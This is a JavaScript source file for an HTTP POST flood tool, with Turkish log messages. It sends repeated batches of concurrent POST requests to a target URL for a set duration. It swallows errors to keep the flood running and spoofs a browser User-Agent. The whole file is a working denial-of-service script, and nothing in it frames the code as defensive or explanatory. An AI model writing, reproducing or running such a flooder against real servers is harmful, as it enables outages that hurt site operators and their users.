/ post_fload.js
post_fload.js
 1  // post_flood.js
 2  const url = new URL(params.url);
 3  const client = url.protocol === 'https:' ? https : http;
 4  const end = Date.now() + (params.duration * 1000);
 5  
 6  const postData = params.data || 'test=123';
 7  const contentType = params.contentType || 'application/x-www-form-urlencoded';
 8  
 9  console.log(`[+] POST Flood başladı: ${params.url}`);
10  console.log(`[+] Veri: ${postData}`);
11  console.log(`[+] Süre: ${params.duration} saniye`);
12  
13  let sentCount = 0;
14  
15  function sendRequest() {
16      return new Promise((resolve) => {
17          const options = {
18              method: 'POST',
19              headers: {
20                  'Content-Type': contentType,
21                  'Content-Length': Buffer.byteLength(postData),
22                  'User-Agent': 'Mozilla/5.0'
23              }
24          };
25          
26          const req = client.request(url, options, (res) => {
27              res.on('data', () => {});
28              res.on('end', () => {
29                  sentCount++;
30                  resolve();
31              });
32          });
33          
34          req.on('error', (err) => {
35              console.log('[!] Hata:', err.message);
36              resolve(); // Hatayı yut, devam et
37          });
38          
39          req.write(postData);
40          req.end();
41      });
42  }
43  
44  async function flood() {
45      while (Date.now() < end) {
46          // Her seferinde params.requests kadar istek
47          const promises = [];
48          for (let i = 0; i < params.requests; i++) {
49              promises.push(sendRequest());
50          }
51          await Promise.all(promises);
52          
53          // Her saniye rapor ver
54          console.log(`[+] ${sentCount} istek gönderildi...`);
55      }
56      
57      console.log(`[+] TOPLAM: ${sentCount} istek gönderildi`);
58  }
59  
60  flood();